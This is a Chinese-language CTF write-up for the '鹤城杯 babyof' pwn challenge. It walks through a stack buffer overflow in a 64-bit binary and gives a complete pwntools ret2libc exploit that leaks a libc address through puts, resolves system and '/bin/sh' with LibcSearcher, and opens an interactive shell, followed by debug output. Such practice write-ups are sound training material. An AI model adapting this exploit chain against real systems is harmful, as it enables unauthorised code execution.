1
2
3
4
5
6
[*] '/mnt/e/work/PWN/nssctf/469_[2021 鹤城杯]babyof/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位直接扔ida64

开启了Partial RELRO和 NX

ida64

找到sub_400632

1
2
3
4
5
6
7
8
int sub_400632()//注意是sub_400642并不是一个函数名 而是ida给他命名的
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
return puts("I hope you win");
}

read存在溢出风险 计算offset=0x40+0x8

计sub_400632为vulnvuln_addr=elf.sym['sub_400632']

由于是64位计算pop_rdi=0x400743

可以看是是在puts完overflow?''才执行read函数 我们就可以用sendlineafter

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe","wsl"],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug",
)
elf = ELF("./pwn")
io = process("./pwn")
#io = remote("node4.anna.nssctf.cn",28444)
def debug():
gdb.attach(io,'''
b *0x400657
b *0x40066A
''')
pause()
debug()
offset = 72
vuln_addr = 0x400632
pop_rdi = 0x400743
read_got=elf.got['read']
puts_plt=elf.plt['puts']
main_addr=0x40066B
payload = cyclic(offset)+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter('overflow?\n', payload)
io.recvuntil(b'I hope you win\n')
read_addr = u64(io.recvline()[:-1].ljust(8,b'\x00'))#固定
print(hex(read_addr))
libc = LibcSearcher('read', read_addr,1)
libc_base = read_addr - libc.dump('read')
system = libc_base + libc.dump('system')
shellcode = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(offset)+p64(0x400506)+p64(pop_rdi)+p64(shellcode)+p64(system)
io.sendlineafter('overflow?\n', payload2)
io.interactive()

值得注意是在高版本的libc中需要加ret进行栈对齐 具体原理还没懂

io.recvuntil(b'I hope you win\n')这一句筛选了read_addr 可以从debug中看到

1
2
3
4
5
[DEBUG] Received 0x3d bytes:
00000000 49 20 68 6f 70 65 20 79 6f 75 20 77 69 6e 0a 50 │I ho│pe y│ou w│in·P│
00000010 7a fd 1e 52 7f 0a 44 6f 20 79 6f 75 20 6b 6e 6f │z··R│··Do│ you│ kno│
00000020 77 20 68 6f 77 20 74 6f 20 64 6f 20 62 75 66 66 │w ho│w to│ do │buff│
00000030 65 72 20 6f 76 65 72 66 6c 6f 77 3f 0a │er o│verf│low?│·│

0a是换行